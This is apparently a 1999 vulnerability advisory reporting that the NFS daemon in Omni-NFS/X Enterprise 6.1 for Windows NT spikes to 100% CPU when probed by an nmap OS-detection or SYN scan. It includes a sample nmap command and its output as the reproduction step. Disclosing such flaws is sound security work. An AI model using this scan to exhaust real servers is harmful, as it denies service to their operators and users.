    Faulty software
    ---------------
    
    Omni-NFS/X Enterprise version 6.1
    
    Product
    ---------
    
    Omni-NFS/X Enterprise  is a X, NFS server solution for win32 systems.
    It is written by XLink Technology ( http://www.xlink.com ) .
    
    Vulnerability
    -------------
    
    The nfs daemon ( nfsd.exe ) used by Omni-NFS/X will jump to 100% cpu usage
    if you scan it
    using nmap with ether the -O (OS detect ) or the -sS ( TCP SYN (half open) )
    .
    
    Example :
    
    (zorkeres@rh-mindlab)(Omni-X)(06/10/99) (1007)
    $ nmap -O -p 111 slacky
    
    Starting nmap V. 2.3BETA5 by Fyodor (fyodorat_private, www.insecure.org/nmap/)
    Interesting ports on slacky (192.168.1.2):
    Port    State       Protocol  Service
    111     open        tcp       sunrpc
    
    TCP Sequence Prediction: Class=trivial time dependency
                             Difficulty=2 (Trivial joke)
    Remote operating system guess: Windows NT4 / Win95 / Win98
    
    Nmap run completed -- 1 IP address (1 host up) scanned in 1 second
    (zorkeres@rh-mindlab)(Omni-X)(06/10/99) (1008)
    $
    
    This was tested on  Microsoft Windows NT 4.0 Workstation with SP5 .
    I'm preaty sure all their NFS solutions are affected by this.
